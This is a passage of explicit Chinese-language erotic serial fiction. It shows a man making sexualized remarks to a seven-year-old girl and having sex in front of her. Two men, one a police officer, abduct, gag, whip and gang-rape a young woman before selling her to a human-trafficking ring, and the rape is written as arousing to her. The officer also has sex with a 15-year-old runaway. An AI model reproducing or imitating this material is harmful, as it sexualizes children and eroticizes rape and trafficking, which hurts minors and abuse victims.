看到老婆如此的淫贱,他心里感到很难受,虽然他为了报答少爷的宽宏大量,主动要求小雄来肏他老婆,但是看到老婆这样,心里还是挺难受的。

他心里暗暗叹息了一生,从床上下来,走进卫生间去洗澡,也借机避开看到老婆那淫贱的样子。

洗了一会儿,听到卧室里传出老婆惠云跟少爷说话的声音,他关掉水阀,用毛巾擦拭着身体,竖起耳朵听他们说什么。

”听说,你婆婆张的很漂亮?“是少爷的声音。

”嗯,在漂亮也是个老太太了!“是老婆惠云的声音。

此刻小雄已经掉转身体,大鸡巴插在惠云的屄中,抱着惠云坐在床上,惠云在小雄的怀里上下套动,丰乳在小雄的脸上蹭着。

”她多大了?“

”快五十了吧!“

”你婆婆长的像水?“

”嗯……脸蛋和身材嘛……有点像香港的明星关之琳,气质呢……像央视的李修平,乳房却比她们两个都更挺,简直就像两座小山耸立在胸前。“

”是嘛?那真不错啊!“

”你别吃了碗里的还要想着锅里的。你是想打我婆母的主意嘛?她那么大岁数了,你也有兴趣?“惠云不由自主吃起婆婆的醋来。

”要是能跟你们婆媳俩个这样的大美人共床,还是蛮有意思的啊!“

”嗯……瞧你,这叫什么话,哪有媳妇和婆婆一起在床上让人肏的?“惠云娇嗔的说。

”你和你婆婆不都让海洋的爷爷肏了嘛?“

”哎唷,死鬼海洋,咋啥话都说?丢死人了!“惠云羞得满脸通红,上下耸套的速度降了下来,”人家那也没有和婆婆一起啊!“

”说的也是,你们三个没有一起玩过!“

”你要是真不嫌弃我婆婆岁数大,想肏她,你就叫我老公帮忙吧?我当媳妇的可不好去跟婆婆说,婆婆,有个帅哥想肏你,你来吧!“惠云咯咯的浪笑着。

”你说的不错!“小雄将惠云放倒在床上,”以后在说吧!现在我要狠狠地肏你了!“

”来吧!肏死我吧!“惠云将双腿大大地分开,并用手托住自己的腿弯,流着淫水的骚屄面相小雄尽情的开放。

小雄伏在她双腿之间,粗大的鸡巴再次插进她多汁的骚屄内,一阵狂风暴雨般的抽插,令惠云浪叫不止……

海洋重新打开了水阀,将身上搓下的灰用水冲去,再将沐浴露涂满全身……

十五分钟后,海洋从卫生间出来的时候,雄少已经不在床上了,只见床单上一遍狼藉,娇妻惠云赤条条反卧在床上,下体和肛门上是黏糊糊的精液。

”少爷呢?“海洋问。

”刚才他接到一个电话,在我屁眼里射了精后就走了,还说谢谢你呢!“惠云懒散的转过身子说。

海洋用手里的湿毛巾给老婆擦着小屄说:”哦,那就是有急事了!对了,老婆,少爷是不是很厉害啊?“

”那当然了,你都看到了,还问我?“

”惠云啊!少爷又帅又有钱,就是给他当情妇都比给我当老婆舒坦,你会不会……“海洋有些担心的问。

”老公,你说什么呢?给少爷肏,是你安排的吧?我承认少爷很吸引人,但是我爱的是你,这辈子只爱你一个人!不管我的肉体给多少男人肏过,我的心是你的,我的心只给你肏!老公,你不会是因为我给别的男人肏过了,你不想要我了,找借口吧?“

”不会的!老婆,我发誓,你是我一生的爱!不论你给什么人肏过,我都爱你!永远!“海洋紧紧抱住了老婆。

”老公……“惠云感动的鸡啄米一般在老公的脸上亲着。

”食髓知味,你说实话,还想不想让少爷肏你?“

惠云看着老公的脸,不似开玩笑的样子,”说实话,只要是女人,被少爷肏过一次后都会想下次的!可是你……“

”老婆,我现在工作压力挺大的,有时候回家上床也怪力不从心的,而你性欲又比较强。只要你心里有我,你可以私下约会少爷,我不会计较的。我只是不想在这样和少爷一起肏你,一是当面看别人肏你,我心里不得劲,二是少爷鸡巴也大能力也强,我看着有自卑感!“

”老公……“惠云看老公说的很是真诚,心里更加感激,紧紧搂住老公,”亲爱的,我爱你……“

×××××× ×××

原来小雄在肏惠云的时候接到的电话是阿信的,她说家里只有她和女儿在家,问小雄有没空。

按着公司的计划,春节后阿信将被派往新加坡作为分公司的经理,此次阿信约小雄一是为了表示感谢,二是她老公快回来,想在老公回来之前寻找一回刺激。

这约会小雄不能不赴,所以在放下手机后就将鸡巴从惠云的屄里抽出来再次顶进她的屁眼中,肆无忌惮的抽插了一阵子,将精液射进她的直肠中,交代了惠云几句没跟海洋打招呼就走了。

赶到阿信家的时候,她女儿一个人在沙发上玩积木,阿信正在洗澡,卫生间门有意微开,只见她正光着身子,在搓洗她那高耸迷人的乳房。

水流顺着她丰满迷人的曲线,由乳沟经小腹而到达那由白腻滑嫩的玉腿和阴毛微遮的阴户。

当小雄推开她没有上锁的房门时,阿信装作没看见似的,自顾着冲洗,一双纤细修长玉手微握着香皂,自乳峰滑至胯下,搓洗着滑腻的私处,作出骚痒难耐的样子。

小雄刚刚在惠云身上发泄了三次的鸡巴就硬了起来,赶紧冲进卫生间,拉下裤子放出鸡巴。

”叔叔,你那儿怎么肿得这么大?你痛不痛呀?“阿信的女儿也跟了进来,好奇地指着小雄的胯下问。

”叔叔这玩艺儿一见你妈妈就会肿。只有把它放到你妈妈的小屄里,它才会消肿,不仅不疼,还会很舒服的。“小雄干脆将鸡巴对着她天真的小脸晃荡。

”难怪我爸爸也常常把他的棒棒塞到妈妈的胯下去消肿,不过他可没你肿得这么厉害。我妈妈真有本事,要是我也有这本事就好了,我要让世上的每个男人肿起来,然后再让他们都舒服。叔叔,你说我会有这本事吗?“阿信的女儿满怀憧憬地说。

”会的,将来你会比你妈妈还有本事的。男人的这东西只要一见到你呀,就会胀得又长又大,但在你的小屄中插插,就又会立马消肿,舒服得要命。“小雄有意逗着这可爱的小女孩。

”你别跟她乱说了,也别想打她主意,她才七岁呀,难道比我还吸引你?“阿信有点吃醋地用毛巾揩着自己的密黑的阴毛。

”呵呵,现在的女孩可是越来越早熟了。“小雄笑着说,不等阿信擦干身子,就抱着赤裸的她上了床。

接着,小雄当着阿信女儿的面,在她和老公的床上就狂肏起来。

小雄一边肏,一边抬头看着她和老公挂在床头的结婚照,真是别有一番美妙的滋味。

小雄仿佛要表演给阿信女儿看似的,不断变化花样肏干阿信,阿信也毫不避讳女儿,大声的呻吟浪叫。

肏得阿信来了三次高潮,小雄才射精。

当小雄再次要肏她的时候,她接到老公的电话,出差的老公提前回来了,说是半个小时后到家,让阿信给热点饭。

阿信就催促小雄赶紧走,小雄却不紧不慢的让她像母狗一样趴着,从背后肏了她一回,把精液射到她屁眼中,才乐悠悠的跟她吻别回了家。

她女儿从头到尾看得津津有味,小雄下床时,阿信又跟她女儿咬起了耳朵,无疑是在吩咐她什么,肯定是让她别将今天看到的东西告诉她爸爸吧……

小雄回到家里已经是午夜十一点多了,看到莲蕴和小凡躺在他的床上熟睡着,这才想起今天晚上是莲蕴母女俩受宠幸的日子,这母女俩一定是等困了先睡了,小雄心里不免有些内疚。

脱了衣服上床,搂住母女俩各亲了一口,莲蕴嘟囔了一句:”睡吧!明早再说吧!“

”对不起,莲蕴!“小雄道着歉。

莲蕴眼睛也没睁,粉拳捶了他一下,”睡觉吧!“

此刻的夜是寂静的,家里人谁也没有察觉到何丽梅的女儿小瑛到现在也没回来。

今天下午小瑛借了颖莉的宝马,出去跟以前的同学聚会。

颖莉的车子经常被家里的人借着用,她也没有在意,小瑛的妈妈何丽梅睡的也早,也没想到女儿到现在没回来。

第二天早晨,何丽梅起床去喊女儿才发现女儿不在房间内,就去问凤柔小瑛昨晚是不是回来了,是不是在少爷房中。

凤柔说她睡前没看到小瑛回来,也不知道小瑛是否在少爷房中。

何丽梅给小瑛打手机,手机关机,她就来到小雄的房中,看到的是小雄在床上跟莲蕴小凡母女在缠绵。

小雄问她什么事情,她说女儿一宿没回来,小雄说可能是跟同学玩疯了吧,再等等吧,并拉着何丽梅一起上床玩。

何丽梅想想也对,就放心的加入床上的风流队伍。

但是一直到天黑还是不见小瑛的踪影,也得不到她的消息,这时大家才感觉到问题严重了,于是雨尘赶回局里,连夜组织人手进行搜索。

没有人知道,小瑛遭遇了什么。

她昨天参加同学聚会,借来颖莉的宝马,带有一些炫耀的意思,大家吃饭喝酒去唱歌,并一一的把同学送回家。

在回来的路上遇到一个骑着摩托的巡警拦住了她,她看看时间已经是晚上十点多了,这么晚还有巡警在街上,她赶到纳闷,但是还是停下了车。

放下车窗说:”警察大哥,我没违章啊!“

一个警察走过来说:”驾照!“

由于天黑,虽然有路灯,但是也看不太轻这个警察的面目,她还是配合地拿出了驾照,刚刚递出去,头部就受到重击,晕了过去。
773.色劫

当她再次醒来的时候,发现自己衣衫不整的被绑在一个用大木桶改造的捆绑架上,她是横着趴在蒙了皮子的木桶上,两条大腿被狠狠拉开,脚踝固定在木桶的两头,双手被拉直绑在木桶另一侧伸出的架子上。

这木桶至少半人高,顶上掏空了一块儿,她就趴在上面,乳房恰好可以垂下来,伸手就能捉到,一个U形木架子稳稳地卡在小瑛的下巴上,让她只能面向前方。

忍住头裂开般的疼痛,一个穿着警察制服的身影塞满了她模糊的视线,他正悠闲地吸着烟。

“婊子,这宝马是谁的?”

“莉姐的!”她颤抖的声音回答。

“哈,肏你妈的!”穿警察制服的男人说,“什么莉姐,谁叫莉姐?你脚上的白金脚链和足戒呢?”

“莉姐,是……原来的银安集团老总!”

“啊?”穿警察制服的男子说,“四驴子,看来我们这次是惹大麻烦了!”

一个人从小瑛背后转了出来,看样子也就二十三四岁,他嘴里吊着一根香烟,手里提着一根马鞭子般的东西,“肏!管她鸡巴是谁?这宝马怎么不卖个几十万啊?”他拿起穿警察制服身边的打火机将烟点上,“怎么哥们儿?你景哥也有怕的一天?”

这个穿警察制服的叫景哥的人撇了撇嘴说:“我肏,我怕?怕个球!”他看了一眼小瑛问,“她家还有几台这样的好车?”

“凭什么我要--”她的抗议被自己的惨叫打断了,原来那个四驴子用鞭子狠狠地抽打小瑛。

景哥抽着烟,静静地看着女孩子在捆绑架上痛苦挣扎,吊带裙的前胸本来开得就低,女孩子又这样趴在木桶上,痛得全身乱抖,凌乱的衣襟根本遮不住前后甩动的丰满乳房,她纤细的小手在牢固的皮套里狂乱地挣扎,指甲已经惨白。

景哥喜欢眼前的一切,这姑娘真是性感极了。

“停,啊--,求求你,别打了。”

景哥抬起一只手,暂时中止了对女孩子的折磨,“你要告诉我那个莉姐家的一些事情。”

“啊,啊,她退休了。”小瑛说,声音还在颤抖,挣扎着喘着气,“现在由她儿子雄少掌握公司!”

“这个我们知道,我是问她家有几台这样的好车!”

“宝马两台,奔驰三台,其余的是雅阁、本田、现代,大约有十多台!”

知道了他需要的一切后,景哥点头示意四驴子动手。在女孩子惊恐的尖叫声中四驴子开始剥她的衣服。老四驴子是个老手了,用一把小刀,不慌不忙,一次切开一件,扒掉扔到地上。

实际上这活儿一点也不难,算上吊带袜,小瑛也只穿了四件:昂贵的吊带裙,绷在腰间的吊袜带,和两条长丝袜。四驴子熟练地割断姑娘肩头两根吊带,再贴着女孩子赤裸后背上光滑的肌肤,把紧身长裙划开个大口子,然后把断裂的织物一把扯下来。

小瑛一声悲鸣,残破的裙子从胸前抽掉时,暴露在空中的丰满乳房,无可奈何地甩出一股股诱人的乳波。

光洁平整的脊背,形状完美的臀丘和精致粉嫩的阴唇,让已经颇有阅历的四驴子也不禁裂开了大嘴,这性感小猫居然没穿乳罩和裤衩就敢出门拉风!不过,他也觉得,这么好的身材,不戴乳罩更好。

剥光这个性感无比的小美女,已经让四驴子的鸡巴坚硬得象块岩石啦。

小瑛尖叫着,挣扎着,企图挣脱,但双手双脚都被扣死在捆绑架皮铐里,她绝望地放弃了抵抗,悲哀地抽泣着听天由命。她不知道自己遇到了什么,也不知道他们在她身上发泄完兽欲后,会不会让她活下去。她唯一知道的是,自己从未这样后悔过为什么长得如此漂亮。

“目前为止,最好的一个,景哥。”四驴子满意地注视着面前一丝不挂的小瑛。这个身材容貌几乎是完美的女孩,毫无抵抗地趴在他的面前,对不可避免的凌辱无能为力。

“她值五万,也许更多。”景哥完全赞同自己的伙伴。

两个兽性大发的男人一边盯着哭得梨花带雨的光屁股小妞儿,一边开始脱衣服。

当女孩看到景哥的鸡巴在自己脸前跳动时,她忍不住又哭出声来。那鸡巴至少有十八九公分长,一块块鼓起的肌肉和粗大饱涨的血管,看起来更加狰狞可怖。

趁着小瑛满眼是泪,景哥捏着她的鼻子,把一个橡胶圈塞进了她的嘴里,上下各有一个牙套,这个特质的橡胶圈把小瑛的下颚撑到了极限,口水不由自主的淌了出来,小瑛悲哀地张大着嘴巴,看着男人挺着鸡巴走到自己面前,怒斥的龟头对准橡胶圈顶了上来。

小瑛惊恐地闭上了眼睛,却抹不去自己嘴唇舌尖上的触觉,一个滚烫而坚硬的大家伙,狠狠地插进了自己被大大撑开的小嘴。

那是警察景哥的鸡巴,现在正放肆地碾过她的舌尖、擦过上颚、最后狠狠顶到小瑛柔软的喉咙,毫无防备的胃部立即疯狂抽搐起来,一股酸液涌上了喉头。

幸好,鸡巴这时退了出去,但她胃里的抽搐还未停止时,鸡巴居然又冲了回来,而且这次更为深入,硕大的龟头已经进入了她颤栗的喉管。

被剥得赤精条条,上身趴在大木桶上,四肢牢牢捆住,下巴被木架子尽力抬起,嘴里又塞着个橡胶圈,小瑛悲哀地发现,站在她面前的男人,恰好可以把那条大鸡巴直接插进自己的嘴里,来去自由,甚至毫无阻碍地深入到喉管。

一丝不挂的小瑛对这样的凌辱无能为力。

多亏小瑛有很多深喉的经验,几乎下意识的,她想起自己应该尽快平息胃里的反应,接着放松喉管,用鼻孔呼吸。

但那个该死的景哥一点怜香惜玉的意思也没有,她拚命想克制住胃里的痉挛,现在她满嘴都是胃液的味道。

然而,又一个惊恐一下浸透了她的全身,原来那个四驴子的大鸡巴正顶在她的阴唇上面。

天呀,那龟头比少爷的还要大,上面还镶嵌着一圈珍珠,自己的小屄现在极为干燥,唯一的润滑就是吓出的一身冷汗,而那个龟头又如此惊人,她精致的小屄一定会被撕裂!

当四驴子用力把鸡巴往屄腔里硬插时,小瑛只能从鼻孔里凄惨地呻吟着。

龟头太大,没能插进去。

“四驴子,最好用点儿润滑剂,”景哥一边在姑娘的嘴里快活地抽送着,“我们可不想弄坏了货物。”

隐约听到的“货物”这个字眼儿,让小瑛更加慌乱,她没办法冷静下来,想想如何挨过这些可怕的折磨。

下身的鸡巴消失了,但不消一分钟,两根树皮般粗糙的手指就插进了她干燥的屄腔,手指上沾满了油脂,在她的下身猥亵地来回抽送,把油脂涂满四周的嫩肉。

景哥还在前面奸淫小瑛漂亮的小嘴,这当然不是他享受过的最好的口交,小瑛虽然早就听天由命,任人宰割,舌头却死了一般,一点也不主动,更不用说那些勾魂摄魄的吸、吞、舔、咽了。

不过,强奸毕竟别有一番风趣。你看,这个半个小时前,还飘在云端的小妞儿,现在不是被他干得泪流满面、哀啼连连?

而且一旦进入深喉,女人配不配合、主不主动都不那么重要了,还有哪里的刺激能比得上既柔软又坚韧,既有力又火热的喉管呢?而且,那时女人喉咙的本能反应对鸡巴的刺激,都要远远超过那些舌尖加允吸的“勾魂大法”啦。

果不其然,勉强抑制了胃部痉挛的小瑛,现在不由自主地收紧喉头,一副要把鸡巴吞进肚中的样子。

这样好受些,虽然她马上就想起,吞咽动作是口交中对鸡巴最大的刺激,让强奸犯舒坦是没有办法的事,孤零零一个弱女子,她哪里有得选择?她只想活下去,只想凌辱早些结束。

小瑛本身就是一个淫荡的女孩,她在用口舌刺激自己的性伙伴上,经验相当丰富,兴致来了,也会给少爷玩一玩深喉。不过,深喉时,她总得花上几分钟,才会完全让放松胃里和喉头下来。

现在,她成了任人宰割的羔羊,一丝不挂地随人凌辱,男人对自己小嘴的奸淫,她无能为力,只能傻傻地张大了嘴,那条鸡巴,虽然没有少爷的粗大,但是这样插进来,气管会被完全堵住,她开始害怕自己会不会被鸡巴噎死。

小瑛强迫自己趁鸡巴抽回去的空隙,用鼻孔呼吸,鸡巴重新插回来时,再尽力抑制呕吐的反应,这样她才不会被窒息。

随着景哥越插越深,她感到男人的阴囊每次都撞击着她的下巴,而粗砺茂盛的阴毛也深深刺入了她的鼻孔。

小瑛优美颀长的脖颈被鸡巴贯穿,似乎连龟头形状都模模糊糊看得出来,她不由自主的吞咽动作,让喉部的肌肉紧紧地挤迫着不断进出的鸡巴,对龟头侧棱的刺激尤为强烈。

小瑛下身突然又是一阵剧痛,原来那个四驴子正在拚命把自己黝黑的鸡巴,往她润滑过了的屄腔里插。

她的心在抽搐,倒不是伤心被玷污,而是害怕自己能不能捱过去。

“这妞不错,四驴子,”景哥望着对面正在忘我努力的老四驴子,边说边用自己的鸡巴塞满姑娘的喉咙。

四驴子皱着眉头,挺着大鸡巴一寸寸消失在小瑛精致的阴唇中,“肏,景哥!”四驴子终于将自己的鸡巴一插到底。

小瑛从喉咙和鼻孔中发出含糊的哀鸣,她的全身都在颤抖,好似一片秋风中的落叶。

“这个婊子……小屄真紧……”

尽管她是个荡女,小瑛从来没有经历过这样的摧残,那只有着硕大龟头的鸡巴不紧不慢地在她的股间抽送,她觉得自己的身体就要被撕裂了,五脏六腑也一定全挪了位。

被强行涂上的润滑剂减缓了一些痛楚,但那种身体随时可能被撕碎的剧痛,甚至远远超过了她的初夜。粗壮滚烫的鸡巴,把她细嫩敏感的屄腔内壁撑到了极限,少女拳头大小的龟头一次次蹂躏着她的花心。

嘴里的鸡巴现在也几乎把她插得透不过气,下身的剧痛使她忘掉了景哥抽插的节奏,呼吸的空隙突然消失了,每次呼吸的尝试,都被粗壮的鸡巴无情地顶了回去。

越慌乱,越找不出鸡巴的节奏,她惊恐地发现自己快要窒息了,下身的剧痛似乎变得越来越遥远了,她只听到自己“砰”、“砰”的心跳。

小瑛的大脑开始混乱,“不!我不要就这样死掉!”她在心中哭泣。

景哥发现了小瑛的异样,他抽出了鸡巴,在女孩酡红的面颊上不断拍打。

小瑛无瑕顾及这种羞辱,只是贪婪地吞进空气,充满了鸡巴味道的空气,绝处逢生的心情,居然让她再次泪光涟涟。

景哥重新开始动作后,小瑛强迫自己忘掉下身的鸡巴,把精力集中在自己嘴里的这根,她竭力配合男人的抽送,终于又给自己找到呼吸的空隙。

她只想祈祷上天,让这一切尽快结束。

“给她热热身,四驴子。”景哥说。这么漂亮的女孩,被自己的鸡巴插到窒息,这让他得意极啦。

另一头的四驴子淫荡地笑着,一边努力地奸辱姑娘的屄腔,一面用一个沾满油脂的手指,猛然插进姑娘毫无防备的菊洞。

小瑛布满汗珠的娇躯又一次猛然收紧,同时遭受着三重奸淫,姑娘的呜咽声愈发凄惨。

四驴子加快了抽插的速度,结实的小腹狠狠撞上姑娘的屁股,他的手指也在小瑛无比紧凑的屁眼中越插越深。

无助的小瑛再次意识模糊起来,不过,这次不是因为窒息,而是……快感!

遭受多重奸辱,她的身体居然出现了反应,她逐渐适应了在自己喉咙里进进出出的那条鸡巴。

现在,饱受摧残的屄腔,疼痛悄悄消失了,大龟头的鸡巴每次摩擦、挤压、撕扯她精致敏感的阴唇时,居然产生了一丝丝的快感。

阴唇的快感,夹杂着硕大的龟头撞击柔弱花蕊所产生的疼痛,让她只想大声呻吟。

更糟的是,插在肛门里的手指,还带来了那种熟悉的充实,一开始的痛苦现在已经转化成了深入耻骨、难以言状的快感,与来自阴唇的热潮,一起冲击着她渐渐崩溃的理智。

景哥感觉到了女孩身体上的变化,他从女孩的嘴里退出自己的鸡巴,龟头面沾满了女孩的口水,在灯光下闪闪发亮,在从女孩面前消失前,他把橡皮圈从女孩的嘴里取了出来。

“噢--”她如释重负般的大声呻吟出来。因为长时间的紧张,下颚的肌肉依然僵硬,娇艳欲滴的嘴唇还像刚才那样张开着,口水顺着嘴角流到了下巴上。

随着鸡巴穿透屄腔,时缓时急、忽高忽低的婉转哀啼声,穿过洁白漂亮的牙齿,在这间空旷的,似乎是储物间里荡人心魄的回绕。

前面的鸡巴从嘴里消失后,小瑛所有的意识都集中在了阴唇上,似乎无穷无尽的快感在那里堆积着,她的脑子已经乱作一团,唯一知道的,就是一个强烈的高潮已经越来越近。

忽然,乳头又传来了新的刺激,原来景哥钻到了木桶下面,仰面朝天躺在一块蒙着皮子的木板上。女孩雪白丰满的乳房,恰好垂到他的面前,随着老四驴子的有力抽插,来回荡出一股股乳波。景哥看准机会,毫不客气地一口咬住一粒刚被甩到嘴边的乳头,用力地允吸起来。

当他轻咬发硬耸立的乳头时,心智已乱的美丽女孩,终于彻底崩溃了,大声哭泣着达到了高潮,屄腔壁腔狂野地抽搐着、跳动着,无可抵抗的快感象狂潮一样,一波波贯穿她的全身,从脚趾到头顶……高潮如此强烈,所有的意识都被肉欲淹没了。

巨大龟头的鸡巴也疯狂地插到尽头,然后在她颤抖的身体深处猛然爆炸,四驴子野兽般地“噢噢”叫着,滚烫的精液一股股有力地喷进她的体内……

“噢,天呀……啊,啊……”小瑛忘乎所以地大声呻吟着,哭泣着,疯狂地颤抖起伏,高潮实际上因为子宫四壁涂满了强奸犯滚烫的精液而更加强烈。

当一切终于结束后,细小的汗珠涂满全身,她闭上眼睛,急促地喘着气。

“咕”的一声,喷光精液的大鸡巴从她的屄腔里拔了出去,她感到四驴子肮脏的精液,不断地从自己饱受摧残的屄腔里溢出来,顺着大腿内侧向下滑落。

她全身瘫软,心中充满了悔恨和耻辱,她痛恨自己的身体,痛恨自己被轮奸挑起的欲望和随后的高潮。

她又轻轻哭了起来。

“又香又软的白屁股!”四驴子从她的屁眼中拔出手指,戏弄地拍打着女孩赤裸的臀丘,那里充满了弹性,手感真是好极了。

“试试才知道。”她听到景哥说着。

四驴子在一旁吃吃地笑着,捏开女孩的下巴,拿过那个橡胶圈又塞了进去。

深陷羞耻之中的小瑛,突然意识到她的凌辱还没有结束,那个景哥并没有射在她的嘴里,现在又轮到四驴子来摧残玩弄她了,她只能暗自伤心,祈求让这一切尽快结束。

然而,她发觉自己丰满的臀丘被抓紧,用力掰向两边,景哥的鸡巴顶在了她的屁眼上。

“唔、唔、唔!”被强行撑开的嘴,发不出她惊恐的哀求声,布满汗珠的身体绝望地挣扎了几下,小瑛在心里哭泣着,“用、用、用前面吧……”

“臭婊子!爷就要爆你的小菊花!”景哥的鸡巴缓慢而坚定地刺进了她的屁眼里。当龟头艰难地穿过肛门四周的那圈紧张得几乎痉挛的肌肉时,小瑛没有感到痛苦,毕竟这鸡巴没有少爷的大,况且刚才四驴子还给里面弄进了一些润滑的油脂。

景哥鸡巴尽根而入,阴囊撞击着她红肿的阴唇,沾满了从那里溢出来的精液。

小瑛的脸上流满了屈辱的泪水,景哥不紧不慢地抽动着鸡巴,愉快地奸淫着身下女孩的屁眼。

“景哥,很紧吧?”四驴子流着口水。

“没错,四驴子……又软又紧又烫,肏起来真过瘾!”

看着景哥的鸡巴在小瑛的股间进进出出,四驴子禁不住心里乐开了花。再过那么一两天,这个娇滴滴的美人儿就会被运到泰国那边的妓院里,每天接10次客。如果她足够幸运,也许还会被卖到中东,成为某个富得流油的酋长的终生性奴。

想想这女孩的凄惨命运,四驴子的大鸡巴又开始一点点变硬,他知道,在景哥联系人贩子的当口儿,还有那么几个小时,他会和那女孩单独在一起。

赤条条绑在架子上的女孩,丝毫也动弹不得的小美人儿,从头发梢到脚趾头,全在他手里,听任他为所欲为。

四驴子狞笑着,心里说,“好好肏她,景哥。肏得再松一点,你一走,我就会插进去的,多鲜嫩的屁眼!准保一刻也不迟疑!”

当初他刚从监狱中出来,就被景哥看中了,收他作为搭档,他为景哥干活儿,景哥一个月给他两万块钱,再加上每一个“货物”他都可以尝尝鲜。

有三次景哥搞来了俊俏的小男孩,景哥会把他们像那些女孩一样卖到泰国去,老四驴子一点没有性别歧视,当然也会鸡奸他们,就像待会儿景哥走了后,他会骑在小瑛的身上大干一顿一样。

“天呀,我真他妈热爱这个工作!”他心里快活地喊着。

这时,景哥野猪般哼哼着,疯狂地扭动着屁股,在女孩的呻吟声中,把一股股粘稠的精液喷进了她的直肠深处……

××× ××× ×××

景哥,全名陈景德,三十二岁,现任巡警大队长,三年前离异。

从那个隐藏货物的地方回到巡警队后,他冲了个澡,换了套制服,然后才上网跟泰国那边联系,他给那女孩开价五万美元,网络的那边泰国某贩卖人口集团的联络人查猛听起来要死要活,不过,最终还是同意了这价钱。

“别那女孩玩残了。还有,那姑娘可得像你说的那样水灵,才对得起这个价钱。”

景哥是三年前,老婆跟一个广东来的富商跑了以后,他就开始对金钱格外的重视,在一次配合重案组打击贩卖人口的犯罪集团时,那个犯罪集团的老大驾车潜逃被他堵住,那个老大用20万现金收买了他。

被他放走的那个老大逃到泰国之后跟他联系,他就走上了贩卖人口的道路。

以前都是抓些外地来的坐台小姐,不显山不露水的没人主意,这次由于和四驴子晚上喝了点酒,竟然劫了开宝马的小瑛。

这台价值200多万的宝马,销往东北的话,也就值三四十万,还有被查到的危险,所以刚才他回来的时候,把那太宝马开进市内后就丢弃在一个胡同里。

那个漂亮的小妞也是麻烦,是本市人,失踪了会惊动警方,一定要赶紧弄走。

小妞是银安老总家里的人,听说现在这个年青的老总女人很多,个个貌美如花,肯定要比那些坐台小姐能卖个高价。

利欲熏心的景哥决定铤而走险,瞄上了银安雄少家的女人。

景哥关掉电脑,起身回家。

十五分钟后,他走进了自己的家门,打开冰箱拿出一瓶啤酒,边喝着啤酒,边松开自己的皮带,走进卧室,卧室床上有一具白花花的肉体。

十个月前的那个下午,当景哥在市郊的路边发现阿绣时,她刚15岁。

离家出走的小姑娘伤痕累累,衣不遮体。两个让她搭车的男人,不仅在后座上狠狠轮奸了她,还抢了她的钱,再把她丢在路边。

景哥把她带回家,帮她洗干净,吃饱了饭,再让她好好睡上一觉。

几天之后,当他深夜回家时,发现阿绣睡在他的床上,一丝不挂。

他明白了她无声的暗示,当晚两人就睡在了一起。

她操持家务,煮饭,并让景哥随意享用她的身体。

他们极少交谈,景哥总是疑惑,是否某天阿绣会不告而别,甚至顺手牵羊偷走他藏在一个卫生间吊柜里10万美元现金。

景哥皮靴踩在木地板上的支嘎声,弄醒了小姑娘,她翻身仰躺在床上,睡意朦胧地叹息着。

她在黑暗中注视着正在脱衣服的景哥,掀开身上的被单,叉开两条大腿,她的手滑过自己雪白发亮的裸体,慵懒地挑逗自己的阴唇。

她知道,景哥午夜性起时,特别没有耐心,她最好尽快把自己的下身弄湿润了,准备迎接那根大鸡巴。

全裸的景哥站在床前,鸡巴已经半硬,今晚的这一票生意让他出奇的兴奋,双手放在屁股上,他盯着面前成熟的少女。

她身材娇小,不过一米六多点儿,乳房结实,但不大,不过她的屁股意外得丰满,骄傲地挺向空中。

景哥从少女的裸体上收回了目光,回到自己的衣橱去找什么东西。当他回来时,手里拿着一大团果冻状的润滑剂。

在他把润滑剂涂在鸡巴上,并用手把鸡巴搓到涨硬的当口,少女清晰地叹了口气,趴在了床上,把头埋在枕头里面,丰满的屁股姿态诱人地撅向空中。

女孩感到景哥上了床,揉搓着自己的臀丘,然后把它们向两边拉开,她已经学会了肛交中,怎样避免象最初几次的剧痛。

在他进入时,她向后耸着屁股,随着鸡巴一寸寸的深入,她忍不住呻吟起来,被充实、被贯穿的感觉如此强烈。

她记得,一旦抽送开始,快感还会增强许多倍。她还知道,自己会在他之前到达高潮,并且高潮中大声尖叫。如果同时玩弄自己的阴唇,那她就可能有两次高潮。

景哥平缓地肏着身下的少女,他肏小瑛屁眼的情景不断漂进他的脑海:完美的身材、惊艳的容貌、哀婉的啜泣,以及屁眼的窄小和滚烫。

他一边抽插,他一边抚摸着阿绣丰满的屁股,让手掌感受少女臀丘沉甸甸的份量。

几分钟后,他加快了速度,从阿绣的叫床声里,他听出来,她想要他再快些。

大约一小时前的那次发泄,让他现在即使是肛交,也游刃有余。他还不断回忆着小瑛。

终于,在阿绣的屁眼里抽插了大约20分钟后,他痛快淋漓地射在了少女的直肠里,同时把少女送上了今晚的第二次高潮。

××× ××× ×××

四个小时后,四驴子听到了一声刺耳的刹车声,那是泰国方面专门运送贵重“货物”的俩个司机,他们是一对亲兄弟,心狠手辣。

四驴子一点儿也不喜欢这兄弟俩看到漂亮姑娘时满嘴流口水的贪婪相,当然,四驴子自己是从来也不照镜子的。

其实,四驴子讨厌这对姓张的兄弟,是因为那对兄弟折磨起性感小妞儿来,连他都自叹不如。无论多水灵的小妞儿,落到那兄弟俩手里,不出三天就能蔫得谁都认不出来了。但他们对景哥却是言听计从。景哥说,路上要惜香怜玉,每人只能打一炮,他们就每人只打一炮。

这对兄弟是那个人贩子集团老大跑路后留在本市的得利属下,也是那次围捕中漏网的三人中的两个。

那个老大到了泰国后,就投靠了以前贩卖人口时的买家查猛,他的手下自然也就成为查猛的手下。本来老大到了泰国安顿下来后是可以将这对兄弟接过去的,但是跑路时候意外的搭上了景哥这条线,这兄弟俩自然也就留下来作为“货物”运输的不二人选。

查猛非常信任这对张氏兄弟,被他们接送过去的小妞儿,在路上就被他们修理得服服贴贴,不管以前地位多么高、脾气多么大,经了这对兄弟的手,准保都变得又乖又巧,拾掇起来,一点儿也不费事。

四驴子当然不关心这些,现在他想的就是赶快把钱数好收妥,把这姑娘交给张氏兄弟,自己关上门美美地睡上一天。

刚才他用水管把小妞儿里里外外冲了几遍,看起来不那么狼狈,还真有点出浴美人的味道呢。

老四驴子在三十六个小时内,是硬不起来了,小瑛早被他折腾得直不起了腰,现在正在地板上缩成一团,好像连哭两声的气力也没有啦。

说真的,四驴子可是全心全意,配合着她一起精疲力尽。

“不过,”四驴子心中暗笑,“张家哥俩可是生龙活虎得很。”

张氏兄弟不耐烦地敲着门,四驴子明白他们着急见识一下这个身价五万美元的大美女。

看着停在门口的那辆中型货车,四驴子不禁笑出了声,货箱里面远比外面看起来狭窄,因为前面的一半改装成了一个密室,刚好能放下一张厚实的床垫,再加四周的几个带镣铐的铁柱子,姑娘的手脚刚好可以被拉开绑牢,密室里的通风又那么不好,兄弟俩刺鼻的狐臭还不得把这个娇滴滴的小妞儿熏死过去?

四驴子断定那兄弟俩身上只有一点可取:他们和他一样,以折磨别人为乐。

张氏兄弟刚看到一丝不挂的美女就红了眼,把钱箱扔给四驴子,一齐扑了上去。
